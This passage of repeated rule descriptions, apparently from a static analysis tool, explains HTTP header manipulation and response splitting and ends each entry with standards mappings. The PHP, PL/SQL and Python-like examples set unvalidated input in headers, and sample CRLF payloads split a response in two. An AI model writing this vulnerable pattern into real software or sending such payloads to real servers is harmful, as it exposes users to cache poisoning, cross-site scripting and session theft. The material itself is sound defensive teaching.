[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.objc.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of PHP will generate a warning and stop header creation when new lines are passed to the header() function. If your version of PHP prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the location from an HTTP request and sets it in the header location field of an HTTP response.


<?php
$location = $_GET['some_location'];
...
header("location: $location");
?>


Assuming a string consisting of standard alphanumeric characters, such as "index.html", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
location: index.html
...


However, because the value of the location is formed of unvalidated user input the response will only maintain this form if the value submitted for some_location does not contain any CR and LF characters. If an attacker submits a malicious string, such as "index.html\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
location: index.html

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.php.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


...
-- Assume QUERY_STRING looks like AUTHOR_PARAM=Name
author := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 14);
OWA_UTIL.mime_header('text/html', false);
OWA_COOKE.send('author', author);
OWA_UTIL.http_header_close;
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.sql.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the location from an HTTP request and sets it in a the header its location field of an HTTP response.


location = req.field('some_location')
...
response.addHeader("location",location)


Assuming a string consisting of standard alphanumeric characters, such as "index.html", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
location: index.html
...


However, because the value of the location is formed of unvalidated user input the response will only maintain this form if the value submitted for some_location does not contain any CR and LF characters. If an attacker submits a malicious string, such as "index.html\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
location: index.html

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide especially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
